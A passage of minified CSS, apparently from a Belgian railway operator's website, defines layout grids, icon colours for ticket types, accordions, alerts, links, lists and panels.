(min-width:1800px){.gutter-xxl-10{margin-left:-5px;margin-right:-5px}.gutter-xxl-10>.col{padding-left:5px;padding-right:5px}.gutter-xxl-20{margin-left:-10px;margin-right:-10px}.gutter-xxl-20>.col{padding-left:10px;padding-right:10px}.gutter-xxl-30{margin-left:-15px;margin-right:-15px}.gutter-xxl-30>.col{padding-left:15px;padding-right:15px}.gutter-xxl-40{margin-left:-20px;margin-right:-20px}.gutter-xxl-40>.col{padding-left:20px;padding-right:20px}.gutter-xxl-50{margin-left:-25px;margin-right:-25px}.gutter-xxl-50>.col{padding-left:25px;padding-right:25px}.gutter-xxl-60{margin-left:-30px;margin-right:-30px}.gutter-xxl-60>.col{padding-left:30px;padding-right:30px}.gutter-xxl-70{margin-left:-35px;margin-right:-35px}.gutter-xxl-70>.col{padding-left:35px;padding-right:35px}.gutter-xxl-80{margin-left:-40px;margin-right:-40px}.gutter-xxl-80>.col{padding-left:40px;padding-right:40px}.gutter-xxl-90{margin-left:-45px;margin-right:-45px}.gutter-xxl-90>.col{padding-left:45px;padding-right:45px}.gutter-xxl-100{margin-left:-50px;margin-right:-50px}.gutter-xxl-100>.col{padding-left:50px;padding-right:50px}}.col{display:block}@media (min-width:0){.col-sm-1{width:8.33333%;float:left}.col-sm-2{width:16.66667%;float:left}.col-sm-3{width:25%;float:left}.col-sm-4{width:33.33333%;float:left}.col-sm-5{width:41.66667%;float:left}.col-sm-6{width:50%;float:left}.col-sm-7{width:58.33333%;float:left}.col-sm-8{width:66.66667%;float:left}.col-sm-9{width:75%;float:left}.col-sm-10{width:83.33333%;float:left}.col-sm-11{width:91.66667%;float:left}.col-sm-12{width:100%;float:left}}@media (min-width:650px){.col-md-1{width:8.33333%;float:left}.col-md-2{width:16.66667%;float:left}.col-md-3{width:25%;float:left}.col-md-4{width:33.33333%;float:left}.col-md-5{width:41.66667%;float:left}.col-md-6{width:50%;float:left}.col-md-7{width:58.33333%;float:left}.col-md-8{width:66.66667%;float:left}.col-md-9{width:75%;float:left}.col-md-10{width:83.33333%;float:left}.col-md-11{width:91.66667%;float:left}.col-md-12{width:100%;float:left}}@media (min-width:992px){.col-lg-1{width:8.33333%;float:left}.col-lg-2{width:16.66667%;float:left}.col-lg-3{width:25%;float:left}.col-lg-4{width:33.33333%;float:left}.col-lg-5{width:41.66667%;float:left}.col-lg-6{width:50%;float:left}.col-lg-7{width:58.33333%;float:left}.col-lg-8{width:66.66667%;float:left}.col-lg-9{width:75%;float:left}.col-lg-10{width:83.33333%;float:left}.col-lg-11{width:91.66667%;float:left}.col-lg-12{width:100%;float:left}}@media (min-width:1280px){.col-xl-1{width:8.33333%;float:left}.col-xl-2{width:16.66667%;float:left}.col-xl-3{width:25%;float:left}.col-xl-4{width:33.33333%;float:left}.col-xl-5{width:41.66667%;float:left}.col-xl-6{width:50%;float:left}.col-xl-7{width:58.33333%;float:left}.col-xl-8{width:66.66667%;float:left}.col-xl-9{width:75%;float:left}.col-xl-10{width:83.33333%;float:left}.col-xl-11{width:91.66667%;float:left}.col-xl-12{width:100%;float:left}}@media (min-width:1440px){.col-hidpi-1{width:8.33333%;float:left}.col-hidpi-2{width:16.66667%;float:left}.col-hidpi-3{width:25%;float:left}.col-hidpi-4{width:33.33333%;float:left}.col-hidpi-5{width:41.66667%;float:left}.col-hidpi-6{width:50%;float:left}.col-hidpi-7{width:58.33333%;float:left}.col-hidpi-8{width:66.66667%;float:left}.col-hidpi-9{width:75%;float:left}.col-hidpi-10{width:83.33333%;float:left}.col-hidpi-11{width:91.66667%;float:left}.col-hidpi-12{width:100%;float:left}}@media (min-width:1800px){.col-xxl-1{width:8.33333%;float:left}.col-xxl-2{width:16.66667%;float:left}.col-xxl-3{width:25%;float:left}.col-xxl-4{width:33.33333%;float:left}.col-xxl-5{width:41.66667%;float:left}.col-xxl-6{width:50%;float:left}.col-xxl-7{width:58.33333%;float:left}.col-xxl-8{width:66.66667%;float:left}.col-xxl-9{width:75%;float:left}.col-xxl-10{width:83.33333%;float:left}.col-xxl-11{width:91.66667%;float:left}.col-xxl-12{width:100%;float:left}}svg use{pointer-events:none}svg path{stroke:inherit;stroke-dashoffset:inherit;stroke-dasharray:inherit;transition:inherit}.icon{display:inline-block;width:20px;height:20px;fill:currentColor;position:absolute;top:0;left:0}.icon--100{width:100px;height:100px}.icon--80{width:80px;height:80px}.icon--40{width:40px;height:40px}.icon--32{width:32px;height:32px}.icon--26{width:26px;height:26px}.icon--24{width:24px;height:24px}.icon--20{width:20px;height:20px}.icon--16{width:16px;height:16px}.icon--12{width:12px;height:12px}.icon--inline{position:relative;top:3px}.icon--transparent{background:transparent!important}.icon--inlinetxt,.icon__holder.icon--inlinetxt{width:20px;height:20px;display:inline-block;position:relative;top:-6px}.icon--inline-external-link{width:20px;height:20px;display:inline-block;position:relative;top:8px}.icon--appbadge{width:130px;height:40px;fill:#000}.icon--wagons{width:120px;height:30px;fill:#000}.icon__holder{width:50px;height:50px;border-radius:50%;background:#dedede;position:relative;display:inline-block;vertical-align:bottom}.icon__holder .icon{position:absolute;width:60%;height:60%;top:50%;left:50%;transform:translate(-50%,-50%)}.icon__holder .icon.icon-b-day-sensation,.icon__holder .icon.icon-border,.icon__holder .icon.icon-border-1,.icon__holder .icon.icon-border-2,.icon__holder .icon.icon-border-3,.icon__holder .icon.icon-journalist{width:100%;height:100%}.icon__holder--32{width:32px;height:32px}.icon__holder--20{width:20px;height:20px}.icon__holder--16{width:16px;height:16px}.icon__holder-sm{width:20px;height:20px;border-radius:50%!important;position:relative!important;display:inline-block!important;vertical-align:middle!important}.icon__holder-sm .icon{position:absolute;width:60%;height:60%;top:50%;left:50%;transform:translate(-50%,-50%)}.icon__holder-plain{position:relative}.icon__holder-plain .icon{fill:currentColor;position:relative}.icon-sofa-color,.icon-standard-color{background:#006ab3!important;color:#fff!important}.icon-gopass1-color{background:#8570b0!important;color:#fff!important}.icon-weekend-color{background:#4995d1!important;color:#fff!important}.icon-seniors-color{background:#f18832!important;color:#fff!important}.icon-diabolo-color{background:#4995d1!important;color:#fff!important}.icon-airport-color{background:#e6a981!important;color:#fff!important}.icon-abo-parking-color{background:#4995d1!important;color:#fff!important}.icon-mivb-tec-color{background:#00a151!important;color:#fff!important}.icon-big-families-color,.icon-child-color{background:#e885b4!important;color:#fff!important}.icon-bike-color,.icon-pet-color{background:#ffd046!important;color:#fff!important}.icon-bikecombo-color{background:#00a151!important;color:#fff!important}.icon-group-color{background:#4995d1!important;color:#fff!important}.icon-go-unlimited-color{background:#8570b0!important;color:#fff!important}.icon-10-journey-color,.icon-gopass10-color,.icon-keypass-color,.icon-railpass-color{background:#006ab3!important;color:#fff!important}.icon-jump-color,.icon-mobib-color{background:#00a151!important;color:#fff!important}.icon-journalist-1-color,.icon-journalist-2-color,.icon-journalist-color,.icon-military-color,.icon-pref-reimbursement-color{background:#f18832!important;color:#fff!important}.icon-border-1-color,.icon-border-2-color,.icon-border-3-color,.icon-border-4-color,.icon-border-color,.icon-music-color,.icon-shopping-color{background:#4995d1!important;color:#fff!important}.icon-b-day-culture-color{background:#006ab3!important;color:#fff!important}.icon-abo-net-color,.icon-abo-parttime-color,.icon-abo-traject-color,.icon-b-day-animal-color,.icon-b-day-experience-color,.icon-b-day-sensation-color{background:#4995d1!important;color:#fff!important}.icon-abo-school-color,.icon-campus-color{background:#8570b0!important;color:#fff!important}.icon-abo-delijn-color,.icon-abo-mivb-color,.icon-abo-tec-color{background:#00a151!important;color:#fff!important}.icon-abo-citywide-color{background:#006ab3!important;color:#fff!important}.icon-s-train-color{background:#faaf01!important;color:#025287!important}.icon-home-ticket-color,.icon-marker-ticket-color,.icon-work-ticket-color{background:#006ab3!important;color:#fff!important}.icon-warning-color{background:#f18832!important;color:#fff!important}.icon-danger-color{background:#c31632!important;color:#fff!important}.icon-info-color{background:#3b5998!important;color:#fff!important}.icon-green-color{background:#006616!important;color:#fff!important}.icon-facebook-color{background:#3b5998!important;color:#fff!important}.icon-twitter-color{background:#1da1f2!important;color:#fff!important}.icon-instagram-color{background:#a307ba!important;color:#fff!important}.icon-google-color{background:#ea4335!important;color:#fff!important}.icon-conversation-color,.icon-phone-color{background:#006ab3!important;color:#fff!important}.icon-whatsapp-color{background:#52ce5e!important;color:#fff!important}.icon-group{display:-ms-flexbox;display:flex}.icon-group svg{position:relative}.icon-group.seats svg{width:16px}.icon-group.seats svg:nth-child(2){left:-2px}.icon-group.seats svg:nth-child(3){left:-4px}.icon-group.seats svg:nth-child(4){left:-6px}.icon-group.standings svg{width:8px}@media (min-width:650px){.helplinks a{padding:0 5px}.helplinks a:first-child{padding-left:0}.helplinks a:last-child{padding-right:0}}.page,main{width:100%;min-height:100vh;padding-bottom:20px}.page.page-big-header,main.page-big-header{min-height:200px!important}.page.lock,main.lock{position:absolute;position:fixed;top:0;height:100vh;z-index:-1;overflow:hidden}@media (min-width:992px){.page,.page.lock,main,main.lock{padding-top:80px}.page,main{width:calc(100% - 350px);margin-left:350px}.page--left,main--left{margin-left:0}.page.lock,main.lock{right:0}}@media (min-width:1280px){.page,main{width:calc(100% - 350px);margin-left:350px}.page--left,main--left{margin-left:0}}@media (min-width:1440px){.page,main{width:calc(100% - 420px);margin-left:420px}.page--left,main--left{margin-left:0}}.page--nosidebar,main--nosidebar{padding-top:80px;margin:0;max-width:none;width:auto}.page--nosidebar .page__breadcrumb,.page--nosidebar .page__header,.page--nosidebar .page__visual,main--nosidebar .page__breadcrumb,main--nosidebar .page__header,main--nosidebar .page__visual{position:relative;margin-left:auto;margin-right:auto;max-width:1280px}.page--nosidebar .page__content,main--nosidebar .page__content{max-width:none}.page--nosidebar .wrapper,main--nosidebar .wrapper{position:relative;margin-left:auto;margin-right:auto;max-width:1280px}.page--nosidebar .container-content,main--nosidebar .container-content{position:relative;margin-left:auto;margin-right:auto;max-width:1280px;padding-left:60px;padding-right:60px}@media (max-width:992px){.page--nosidebar .container-content,main--nosidebar .container-content{padding-left:30px;padding-right:30px}}@media (max-width:650px){.page--nosidebar .container-content,main--nosidebar .container-content{padding-left:20px;padding-right:20px}}.page--nosidebar .well,main--nosidebar .well{padding:30px}.page--nosidebar .well>.wrapper,main--nosidebar .well>.wrapper{padding-left:60px;padding-right:60px}@media (max-width:992px){.page--nosidebar .well,main--nosidebar .well{padding:30px 20px}.page--nosidebar .well>.wrapper,main--nosidebar .well>.wrapper{padding-left:0;padding-right:0}}@media (max-width:1280px){.page--nosidebar .container,main--nosidebar .container{max-width:none}}.page--nosidebar .container,.page--nosidebar .page__visual,main--nosidebar .container,main--nosidebar .page__visual{margin-left:auto;margin-right:auto;padding-left:60px;padding-right:60px}@media (max-width:992px){.page--nosidebar .container,.page--nosidebar .page__visual,main--nosidebar .container,main--nosidebar .page__visual{padding-left:30px;padding-right:30px}}@media (max-width:650px){.page--nosidebar .container,.page--nosidebar .page__visual,main--nosidebar .container,main--nosidebar .page__visual{padding-left:20px;padding-right:20px}}.page__content,main__content{margin:0 0 20px}@media (min-width:992px){.page__content,main__content{margin:60px 0;max-width:980px}}@media (min-width:1280px){.page__content,main__content{max-width:1280px}}@media (min-width:992px){.page__visual,main__visual{max-width:980px}}@media (min-width:1280px){.page__visual,main__visual{max-width:1280px;margin-left:60px}}.page__breadcrumb,main__breadcrumb{margin-bottom:30px}@media (min-width:992px){.page>.page__content,main>.page__content{margin-top:0}}.page>.page__content>.hide+*,.page>.page__content>div:first-child,main>.page__content>.hide+*,main>.page__content>div:first-child{margin-top:0}@media print{.page>.page__content,main>.page__content{width:100%!important;max-width:100%!important}}.cookied .page,.cookied main,.noticed .page,.noticed main{padding-top:0}@media (max-width:991px){.no-scroll-mobile{overflow-y:hidden}}.error-404,.error-500,.error-503,.page-transparent-menu{background-color:#c0f8ff}.error-404 .navigation-bar,.error-500 .navigation-bar,.error-503 .navigation-bar,.page-transparent-menu .navigation-bar{position:relative}.error-404 .navigation-bar__main,.error-500 .navigation-bar__main,.error-503 .navigation-bar__main,.page-transparent-menu .navigation-bar__main{background:transparent!important}.orange-warning-page,.page-404,.page-500,.page-503{width:100%;height:calc(100vh - 80px);margin:0;display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;-ms-flex-pack:justify;justify-content:space-between;padding-top:80px}.orange-warning-page .container-content,.page-404 .container-content,.page-500 .container-content,.page-503 .container-content{margin-top:20px;margin-bottom:20px}.orange-warning-page .page__content,.page-404 .page__content,.page-500 .page__content,.page-503 .page__content{max-width:inherit!important;position:relative;margin-bottom:0;padding:20px;margin-top:0}.orange-warning-page .page__content h1,.page-404 .page__content h1,.page-500 .page__content h1,.page-503 .page__content h1{position:relative}.orange-warning-page .page__content h1 strong,.page-404 .page__content h1 strong,.page-500 .page__content h1 strong,.page-503 .page__content h1 strong{color:#006ab3}@media (min-width:992px){.orange-warning-page .page__content,.page-404 .page__content,.page-500 .page__content,.page-503 .page__content{padding:0 40px 400px 390px}}@media (min-width:1280px){.orange-warning-page .page__content,.page-404 .page__content,.page-500 .page__content,.page-503 .page__content{padding:0 60px 400px 480px}}.orange-warning-page .footer__sitemap .container,.page-404 .footer__sitemap .container,.page-500 .footer__sitemap .container,.page-503 .footer__sitemap .container{margin-left:0!important;margin-right:0!important}.orange-warning-page .footer__sitemap:after,.page-404 .footer__sitemap:after,.page-500 .footer__sitemap:after,.page-503 .footer__sitemap:after{display:none}.orange-warning-page__visual,.page-404__visual,.page-500__visual,.page-503__visual{display:none;position:absolute;top:0;right:0;left:0;bottom:0}.orange-warning-page__visual .base,.orange-warning-page__visual .station,.orange-warning-page__visual .trees,.page-404__visual .base,.page-404__visual .station,.page-404__visual .trees,.page-500__visual .base,.page-500__visual .station,.page-500__visual .trees,.page-503__visual .base,.page-503__visual .station,.page-503__visual .trees{position:absolute;height:530px;bottom:0;left:0;width:100%}.orange-warning-page__visual .base,.page-404__visual .base,.page-500__visual .base,.page-503__visual .base{width:100%;height:100%;background:transparent url() no-repeat 0 100%;background-size:2568px 530px}.orange-warning-page__visual .station,.page-404__visual .station,.page-500__visual .station,.page-503__visual .station{width:100%;height:100%;background:transparent url() no-repeat 100% 100%;background-size:573px 530px}@media (min-width:992px){.orange-warning-page__visual,.page-404__visual,.page-500__visual,.page-503__visual{display:block}}.orange-warning-page .page__content{padding:0!important}.orange-warning-page .page__content .background_image{width:100%}@media (min-width:650px){.orange-warning-page .page__content{padding:0!important}.orange-warning-page .page__content h1{width:100%}.orange-warning-page .page__content .background_image{width:80%}}@media (min-width:992px){.orange-warning-page .page__content{padding:0!important}.orange-warning-page .page__content h1{width:70%}.orange-warning-page .page__content .background_image{width:55%}}@media (min-width:1280px){.orange-warning-page .page__content{padding:0!important}.orange-warning-page .page__content h1{width:70%}.orange-warning-page .page__content .background_image{width:45%}}@media print{.page,main{padding-top:10px!important;width:100%!important;margin:0!important}}.js-uploaded-files{word-break:break-word}.grid-icon-col{display:-ms-grid;display:grid;-ms-grid-columns:40px calc(100% - 40px);grid-template-columns:40px calc(100% - 40px)}.grid-icon-col .icon-holder-small{width:30px!important;height:30px!important;color:#fff}.img-w300{max-width:300px}.border-light{border:2px solid #add8e6;border-radius:5px}.border-bottom-light{border-bottom:2px solid #f1f5f5}.headnav.routeplanner-detail>footer.has_sidebar{position:fixed;height:100%;top:100vh}.accordion{border-top:1px solid #f1f5f5;border-bottom:1px solid #f1f5f5;position:relative}.accordion--small{border-top:0;border-bottom:0}.accordion--small .accordion__trigger{padding:0}.accordion--small .accordion__heading{font-size:18px;display:inline}.accordion--small .accordion__txt{padding:0}.accordion--small .accordion__icon{display:inline-block;position:relative;top:auto;right:auto;vertical-align:middle}.accordion--full .accordion__title{display:-ms-flexbox;display:flex;-ms-flex-align:end;align-items:flex-end}.accordion--full .accordion__heading{-ms-flex:1;flex:1;padding-right:10px}.accordion--full .accordion__icon{-ms-flex:0 0 auto;flex:0 0 auto;width:20px;height:20px;text-align:right}.accordion--full .accordion__icon svg{right:0;left:auto;bottom:0;top:auto}.accordion__trigger{position:relative;cursor:pointer;padding:30px 0;max-width:750px;background:transparent;border:0;text-align:left;-webkit-appearance:none;-moz-appearance:none;appearance:none;font-family:Circular Std;padding-right:25px}.accordion__trigger:not(.shrink){width:100%}.accordion__trigger:active,.accordion__trigger:active:focus,.accordion__trigger:focus:active{outline:none!important}@media (min-width:992px){.accordion__trigger{max-width:980px}}.accordion__title *{margin:0}.accordion__heading{color:#006ab3;font-size:20px;font-weight:400;line-height:normal}.accordion__icon{color:#006ab3;position:absolute;width:20px;height:20px;top:35px;right:0;transform:matrix(0,1,-1,0,0,0)}.accordion__content{display:none;overflow:hidden}.accordion__txt{padding:0 0 20px;max-width:750px}.accordion__txt>:first-child{margin-top:0}.accordion__txt>:last-child{margin-bottom:0}@media (min-width:992px){.accordion__txt{max-width:980px}}.accordion__group .accordion{border-bottom:0}.accordion__group .accordion:last-child{border-bottom:1px solid #f1f5f5}.accordion__group.hasButton .accordion{padding:10px 0;border-bottom:2px solid #d3d3d3}.accordion__group.hasButton .accordion:first-child{padding:5px 0}.accordion__group.hasButton .accordion:first-child .accordion-info div:first-child{padding:0}.accordion__group.hasButton .accordion:last-child{border-bottom:2px solid #f1f5f5}.accordion__group.hasButton .accordion__trigger span.btn{width:100%;padding:14px 5px 13px}@media only screen and (min-width:649px) and (max-width:992px){.accordion__group.hasButton .accordion__trigger span.btn{width:auto;padding:14px 30px 13px}.accordion__group.hasButton .accordion .shrink.text-right{text-align:left!important}}@media (min-width:992px){.accordion-info div{padding:11px 0}.accordion-info div:first-child strong{display:block}}.accordion.accordion-menu{list-style:none}.accordion.accordion-menu .accordion__trigger{padding:15px 0}.accordion.accordion-menu .accordion__trigger .accordion__title{padding:0 10px;font-weight:700}.accordion.accordion-menu .accordion__trigger .accordion__title .accordion__heading span{display:none}.accordion.accordion-menu .accordion__trigger .accordion__title .accordion__heading span.selected{display:inherit!important}.accordion.accordion-menu .accordion__trigger .accordion__icon{top:16px;margin-right:15px;transform:none}.accordion.accordion-menu .accordion__content .accordion__txt{padding:0 0 15px}.accordion.accordion-menu .accordion__content .accordion__txt li{list-style:none;padding:8px 35px;font-weight:700;text-align:left}.accordion.accordion-menu .accordion__content .accordion__txt li:before{content:none}.accordion.accordion-menu .accordion__content .accordion__txt li a,.accordion.accordion-menu .accordion__content .accordion__txt li a:hover{text-decoration:none}.accordion.accordion-menu .accordion__content .accordion__txt li .with-icon{margin-left:35px}.accordion.accordion-menu .accordion__content .accordion__txt li .with-icon .icon{margin-left:35px;margin-top:11px}.accordion.accordion-menu .accordion__content .accordion__txt hr{width:82%;height:1px;opacity:.5}.accordion.accordion-menu.purple{background-color:#66469b}.accordion.accordion-menu.purple .accordion__content,.accordion.accordion-menu.purple .accordion__heading,.accordion.accordion-menu.purple .accordion__icon,.accordion.accordion-menu.purple li a{color:#fff}.rad-accordion{background-color:#f1f5f5!important;margin:0}.rad-accordion .rad{background-color:#fff;padding:20px;margin:5px 0}@media (min-width:650px){.rad-accordion .planner__timeline{width:65%}}@media (min-width:650px){.rad-accordion .planner__details{width:90%}}.rad-accordion .rad__check{top:35px}.rad-accordion legend{height:0;width:0;position:fixed}.rad-accordion .accordion__content{left:-62px;padding:7px 58px;background:#def3fa;width:calc(100% + 82px);bottom:-20px}.alert{margin:10px 0;padding:15px 25px;position:relative;cursor:pointer;background:#f1f5f5;width:100%}@media print{.alert{break-inside:avoid}}.alert__icon{line-height:1}.alert__icon .icon{left:50%;transform:translateX(-25%);position:relative;width:22px;height:22px;max-width:380px;-ms-flex:1;flex:1;fill:currentColor}@media (min-width:650px){.alert,.alert .alert__icon{display:-ms-flexbox;display:flex}.alert .alert__icon{width:40px;-ms-flex:0 0 auto;flex:0 0 auto;-ms-flex-align:center;align-items:center;margin-right:10px}.alert .alert__icon .icon{left:auto;transform:none}}.alert .alert__track-item:before{border-color:currentColor!important}.alert .alert__track-item:last-of-type:after,.alert .alert__track-item:last-of-type:before{border-color:currentColor!important;box-shadow:inset 0 0 36px currentColor}.alert__trigger{width:15px;height:15px;right:27px;top:30px;background:transparent;border:none;color:currentColor;cursor:pointer;position:absolute}.alert__trigger .icon{width:100%;height:100%;fill:currentColor}@media print{.alert__trigger{display:none}}.alert__content{position:relative;color:currentColor;-ms-flex:1;flex:1}@media print{.alert__content{break-inside:avoid}}.alert__content .alert__trigger{top:5px;right:-2px}.alert__title{padding-right:20px}.alert__title>:first-child{margin-top:0}.alert__extra{margin-top:15px;display:none}@media print{.alert__extra{display:block}}.alert--open .alert__extra{display:block}.alert--open .alert__trigger{transform:rotate(180deg)}@media print{.alert--info{border:1px solid #ddf1fa}}.alert--warning{background:#fcefe8;color:#cd3705}@media print{.alert--warning{color:#d34d11;border:1px solid #ea6022}}.alert--warning .accordion__heading,.alert--warning .accordion__icon{color:#cd3705}.alert--warning .accordion__content li:before{background-color:#cd3705}.alert--warning .accordion__trigger{outline:none}.alert--info{background:#ddf1fa;color:#1b3b6e}@media print{.alert--info{color:#1b3b6e;border:1px solid #ddf1fa}}.alert--info .accordion__heading,.alert--info .accordion__icon{color:#1b3b6e}.alert--info .accordion__content li:before{background-color:#1b3b6e}.alert--info .accordion__trigger{outline:none}.alert--no-trigger{cursor:auto}.alert--with-top-arrow{position:relative;margin-top:15px}.alert--with-top-arrow:before{background-color:inherit;position:absolute;left:50%;top:0;content:"";width:0;border:15px solid currentColor;transform:rotate(45deg) translate(-50%);border-color:transparent}@media (min-width:650px){.alert{padding:25px 30px}.alert--condensed{padding:10px 15px}}a.alert,a.alert:hover{text-decoration:none}a.alert .alert__trigger{display:block;position:absolute;top:50%;right:30px;transform:translateY(-50%)}.alert__track{margin-bottom:15px}.alert__track-item{position:relative;padding-left:25px}.alert__track-item:before{content:"";display:block;position:absolute;left:0;top:5px;width:12px;height:12px;border:2px solid #006ab3;border-radius:50%}.alert__track-item:first-of-type:before{background-color:#fff;border-color:#006ab3}.alert__track-item:not(:last-of-type):after{content:"";display:block;position:absolute;background:#006ab3;border:0 solid #006ab3;left:7px;top:19px;width:2px;height:calc(100% - 19px + 5px)}@media print{.alert__track-item:not(:last-of-type):after{border-left-width:2px;background:none;width:1px}}.alert__track-item.active:before{box-shadow:inset 0 0 36px #fff;background-color:#fff}.alert__track-item.inactive:before{background-color:inherit}.alert__track--inverted .alert__track-item:before{border-color:#fff}.alert__track--inverted .alert__track-item:first-of-type:before{box-shadow:inset 0 0 36px #fff}.alert__track--inverted .alert__track-item:last-of-type:before{border-color:#fff}.alert__track--inverted .alert__track-item:not(:last-of-type):after{background:#fff;border-color:#fff}.alert__track--inverted .alert__track-item.active:before{box-shadow:inset 0 0 36px #fff!important}.alert__track.dark .alert__track-item:first-of-type:before{background-color:#000;border-color:#000}.alert__track.dark .alert__track-item:before{border-color:#000}.alert__track.dark .alert__track-item:not(:last-of-type):after{background:#000;border-color:#000}.alert__track.dark .alert__track-item.active:before{background-color:#000}.alert__track.dark .alert__track-item.inactive:before{background-color:inherit}.alert--warning .alert__track-item:not(:last-of-type):after{background:#ea6022;border-color:#ea6022;background-color:#ea6022}.article-list:after,.article-list:before{content:" ";display:table}.article-list:after{clear:both}.article-list figure{background:#fff;width:100%;margin:0;line-height:0;vertical-align:middle;display:inline-block;text-align:center;position:relative;margin-bottom:20px}.article-list figure img{width:100%;height:auto}.article-list__content{padding:20px}.article-list h5{font-size:20px;line-height:1;margin:0}.article-list p{margin:0;margin-top:10px;font-size:16px;width:100%}.article-list .link{margin-top:10px;font-size:16px}.article-list+.article-list{margin-top:20px}@media (min-width:650px){.article-list{border:2px solid #f1f5f5;position:relative}.article-list figure{height:calc(100% + 2px);width:130px;left:-1px;top:-1px;position:absolute;overflow:hidden}.article-list figure img{position:absolute;height:100%;width:auto;left:-25%}.article-list__content{padding:30px}figure+.article-list__content{padding:30px 30px 30px 160px}}.avatar{width:75px;border-radius:50%;overflow:hidden;position:relative}.avatar:after{content:"";display:block;padding-bottom:100%}.avatar img{position:absolute;width:100%}.baseline{background-image:url('data:image/svg+xml;utf8,');background-size:auto 27px;height:40px}.baseline,.baseline--light{background-repeat:no-repeat;background-position:100% 0}.baseline--light{background-image:url('data:image/svg+xml;utf8,')}.baseline--light.baseline--no-emo{background-image:url('data:image/svg+xml;utf8,')}.baseline--light.baseline--no-emo,.baseline--no-emo{background-repeat:no-repeat;background-position:100% 0}.baseline--no-emo{background-image:url('data:image/svg+xml;utf8,')}div a,li a,p a{color:#0069b4;text-decoration:underline}.no-underline{text-decoration:none!important}.force-underline{text-decoration:underline!important}a{color:#006ab3;text-decoration:none}a:hover{color:#003a63;text-decoration:underline;transition:all .3s}.link{display:inline-block;font-weight:700;padding-left:25px;background:none;line-height:normal;border:none;color:#006ab3;cursor:pointer}.link:hover{text-decoration:underline}.link:hover>.icon{transform:translateX(3px)}.link>.icon{left:0;transition:transform .1s ease-in-out}.link--nopad{padding-left:0}.link--iconright{padding-left:0;padding-right:18px}.link--iconright>.icon{left:auto;right:0}.link--icon-no{padding-left:0}.link--iconholder{display:-ms-flexbox;display:flex;-ms-flex-pack:center;justify-content:center;padding-left:0}.link--iconholder .icon__holder{-ms-flex:50px 0 0px;flex:50px 0 0;margin-right:10px}.link--iconholder .icon__holder--32{-ms-flex:32px 0 0px;flex:32px 0 0}.link--iconholder .icon__holder--20{-ms-flex:20px 0 0px;flex:20px 0 0}.link--iconholder .icon__holder--16{-ms-flex:16px 0 0px;flex:16px 0 0}.link--iconholder span{-ms-flex:1;flex:1;display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center}.link--dark{color:#3a3a3a;font-weight:400}.link--dark>.icon{color:#006ab3}.link--inverse,.link--inverse>.icon{color:#fff}.link--noanim:hover>.icon{transform:translateX(0)}.link:disabled,.link[disabled]{cursor:not-allowed;color:#dedede}.link:disabled:hover,.link[disabled]:hover{text-decoration:none}.link.iconleft>.icon,.link.iconright>.icon{left:0;transition:transform .1s ease-in-out}.link.iconleft:hover>.icon,.link.iconright:hover>.icon{transform:translateX(3px)}.link.iconright{padding-left:0;padding-right:18px}.link.iconright>.icon{left:auto;right:0}.link.iconleft>.icon{left:0;right:auto}.link.noanim:hover>.icon{transform:translateX(0)}.link,.linkblock{position:relative}.link>.icon,.linkblock>.icon{top:5px;width:13px;height:13px}.link .icon--inlinetxt,.linkblock .icon--inlinetxt{top:-1px}.close_linkblock{display:unset}.linkblock{padding-right:25px}.linkblock>.icon{left:auto;right:0;color:#006ab3}.linkMarginBtm,.linkMarginTop{padding:10px 10px 10px 0}.list,ul{list-style:none;margin:14px 0;padding:0}.list ul,ul ul{margin:0}.list ul li:before,ul ul li:before{border-radius:0}.list li,ul li{display:block;position:relative;padding-left:20px}.list li:before,ul li:before{content:"";display:block;position:absolute;left:0;top:11px;background:#006ab3;width:6px;height:6px;border-radius:50%}.list--links li:before{display:none}.list--links a{font-weight:700}.list--links--plain a{font-weight:400}.list--links--nopad li{padding-left:0}.list--links .icon{color:#006ab3}.list--links .icon--12{top:8px}.list--links .icon--20{top:4px}.list--30 li{padding-left:30px}.list--nopadding li{padding-left:0}.list--checks li{padding-left:30px;margin:5px 0}.list--checks li:before{display:none}.list--checks .icon{width:16px;height:16px;top:6px;color:#006ab3}.list--checks--large li{padding-left:40px}.list--checks--large .icon{width:25px;height:25px;top:0;color:#3a3a3a}.list--checks--large--blue .icon{color:#006ab3}.list--black{color:#3a3a3a}.list--black .list li:before,.list--black ul li:before{content:"";display:block;position:absolute;left:0;top:11px;background:#3a3a3a;width:6px;height:6px;border-radius:50%}.list--black ul.listType-dash li:before{top:13px;height:2px;border-radius:0;width:8px}.inverse .list,.inverse ul,.list--inverse{color:#fff}.inverse .list li:before,.inverse ul li:before,.list--inverse li:before{background:#fff}.inverse .list .icon,.inverse .list a,.inverse ul .icon,.inverse ul a,.list--inverse .icon,.list--inverse a{color:#fff}.olist,ol{padding:0;counter-reset:b}.olist li,ol li{list-style-type:none;display:block;position:relative;padding-left:25px}.olist li:before,ol li:before{content:counter(b);counter-increment:b;display:block;font-weight:700;color:#006ab3;position:absolute;top:0;left:0}.olist a,ol a{font-weight:700}.olist--inverse a,.olist--inverse li,.olist--inverse li:before{color:#fff}.slist{counter-reset:b}.slist li{list-style-type:none;display:block;position:relative;padding-left:30px;margin-bottom:10px}.slist li:before{content:counter(b);counter-increment:b;font-size:13px;text-align:center;line-height:20px;color:#fff;width:20px;height:20px;border-radius:50%;top:3px;left:0}.slist li:after,.slist li:before{display:block;background:#006ab3;position:absolute}.slist li:after{content:"";width:2px;top:25px;bottom:-11px;left:9px}.slist li:last-child:after{display:none}.slist a{font-weight:700}.slist--inverse-black li,.slist--inverse-black li a,.slist--inverse-purple li,.slist--inverse-purple li a,.slist--inverse li,.slist--inverse li a{color:#fff}.slist--inverse-black li:before,.slist--inverse-purple li:before,.slist--inverse li:before{background:#fff;color:#006ab3}.slist--inverse-black li:after,.slist--inverse-purple li:after,.slist--inverse li:after{background:#fff}.slist--inverse-black li:before{color:#000}.slist--inverse-purple li:before{color:#66469b}.slist--continuous li:after{top:23px;bottom:-13px}@media (min-width:650px){.list--col2{columns:2}}@media (min-width:650px){.list--col3{columns:3}}@media (min-width:650px){.list--col4{columns:4}}@media (min-width:650px){.list--col5{columns:5}}@media (min-width:650px){.list--col6{columns:6}}.panel{margin-bottom:0;border:2px solid #f1f5f5}.panel__header{padding:20px;border-bottom:2px solid #f1f5f5}.panel__header h1,.panel__header h2,.panel__header h3,.panel__header h4,.panel__header h5,.panel__header h6{margin:0}.panel__content{padding:20px}.panel__footer{padding:20px;border-top:2px solid #f1f5f5;padding-left:0;margin-left:20px}.panel__footer--no-top{padding-top:0;border-top:0}.panel--filled,.panel--filled .panel__footer,.panel--filled 